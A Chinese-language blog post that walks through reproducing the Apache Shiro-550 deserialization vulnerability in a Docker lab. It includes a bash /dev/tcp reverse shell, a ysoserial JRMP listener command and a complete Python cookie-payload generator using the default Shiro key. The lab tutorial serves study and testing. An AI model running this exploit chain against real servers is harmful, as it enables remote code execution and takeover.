Shiro-550反序列化漏洞复现及漏洞利用复现总结
-
- 前言
- 什么是序列化?
- 什么是反序列化?
- 环境搭建
-
- 环境说明
- 判断是否存在Shiro反序列化漏洞
- Shiro rememberMe反序列化漏洞(Shiro-550)复现
-
- 环境说明
- 漏洞原理
- 漏洞特征
- 漏洞版本
- 复现过程
- Shiro-550漏洞利用
-
- 反弹shell
- 参考
前言
最近参与某项工作,有很多东西都需要补充学习,本文根据一些视频教程和网页博客总结而来,很多网站都存在这反序列化漏洞,学习一下作为知识储备,通过写这篇blog也帮助我理清思路。
什么是序列化?
面向对象语言在存储对象的时候有一个很难存储的问题,就考虑将对象转换成字符串进行持久化存储,可以方便网络传输。即一个对象序列化,转化成字符串,然后传输给别人,再反序列化回来,即可做到网络传输。
什么是反序列化?
与序列化相反,反序列化就是将字符串转换成对象的过程。
环境搭建
环境说明
- kali:Linux kali 5.10.0-kali3-amd64
判断是否存在Shiro反序列化漏洞
- 在命令行中输入:
(如果此处出现无法定位软件包的问题,可以使用命令apt-get install docker
更新一下)apt-get update
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 输入
apt-get install docker-compose
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 安装好后,使用
命令重启一下reboot
- 启动服务:
service docker start
(这里的服务每次开机都需要重新启动一下)
使用命令后,会出现一个会话框,输入kali当前用户的密码即可。
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 输入命令下载shiro:
(这个应该要在root下进行,或者普通用户sudo一下)docker pull medicean/vulapps:s_shiro_1
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 开启shiro:
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 开启后,在kali自带的火狐浏览器中输入
或者localhost
即可:本机的ip地址
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 点击
,任意输入账号和密码,勾选Log in
。(此时打开火狐的代理,在扩展组件中添加,并设置ip和端口与Burp中对应,此处我是127.0.0.1和8080)remember me
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 打开kali中的抓包工具,此处使用Burp Suite,开启抓包:
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 回到网页,点击
,再次回到Burp Suite,Burp已经抓到包,鼠标右键—选择Login
发送给重发器—点击工具栏上的send to Repeater
:Repeater
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 进入重发器
之后,点击转发Repeater
,可以看到返回的包中含有字段send
,说明存在Shiro反序列化漏洞:remenberMe=deleteMe
Shiro-550反序列化漏洞复现及漏洞利用复现总结
Shiro rememberMe反序列化漏洞(Shiro-550)复现
环境说明
- python 2.7
- kali Linux
漏洞原理
Apache Shiro框架提供了记住密码的功能(Remember Me),目前这个功能在很多网站上都存在,用户在登录一个网站的时候,登录的信息会被序列化、加密并编码,在请求服务的时候,服务端会对Remember Me中存的cookie值,先解码和解密,然后再反序列化,这里就存在着反序列化RCE漏洞。
漏洞特征
- 使用抓包工具截取的时候,返回包中包含rememberMe=deleteMe字段
漏洞版本
- Apache Shiro < 1.2.4
复现过程
-
在github上下载exp工具(github上有很多这样的工具,可以根据自己的需求进行下载):
github下载地址:https://github.com/insightglacier/Shiro_exploit
网盘下载地址:https://pan.baidu.com/s/1i–OYUMKD20V7B8fW028Og(提取码:36yr)
下载之后是一个zip文件:
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 下载完毕之后,复制到kali中,使用命令
进行解压,解压之后,继续在终端中输入命令unzip -o 文件名
安装相关的包(此处可能需要先执行命令安装pip)pip install pycrypto
- 执行命令:
(后面地址为python shiro_exploit.py -u http://192.168.14.128:80
)本机ip地址:开启Shiro步骤的端口一致
4. 此时获取到了一个Shiro Key:kPH+bIxk5D2deZiIxcaaaA==Shiro-550反序列化漏洞复现及漏洞利用复现总结
Shiro-550漏洞利用
反弹shell
可以利用反弹得到的Shiro Key进行shell的反弹,反弹的原理可以看一下我之前的blog,有一些关于反弹shell的复现,如果只想看懂下文,看这一篇即可:https://blog.csdn.net/weixin_44283446/article/details/115133751?spm=1001.2014.3001.5501
- 在监听方开启监听(端口可以变化):
nc -nlvp 1231
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 在被监听方执行命令:
bash -i >& /dev/tcp/监听方的ip地址/1231 0>&1
(这个地方端口的设置和监听方要一致)
Java Runtime 提供了在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html,将
输入进去,就可以得到匹配Bash的编码,在被监听方执行这个bash -i >& /dev/tcp/监听方的ip地址/1231 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0LjEyOC8xMjMxIDA+JjE=}|{base64,-d}|{bash,-i}
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 使用
文件中JRMP监听模块,监听6666端口并执行反弹shell命令ysoserial.jar
,其中java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
在github上下载下来的ysoserial.jar
包中带有:Shiro_Exploit-master
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 新建一个
文件,输入以下代码:Shiro.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
# 此处使用前面拿到的Shiro Key
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
使用命令
python shiro.py 被监听方ip地址:6666
执行
Shiro.py
生成payload:
- 利用得到的rememberMe的值去构造数据包,生成cookie,发送payload。回到Buip Suite,在抓到的包中添加remenberMe的值,添加完毕后点击
:forword
Shiro-550反序列化漏洞复现及漏洞利用复现总结 - 点击
后,回到kali,拿到反弹shell:forword
Shiro-550反序列化漏洞复现及漏洞利用复现总结
参考
https://cloud.tencent.com/developer/article/1657019
https://www.cnblogs.com/xiaozi/p/13239046.html
https://xz.aliyun.com/t/8445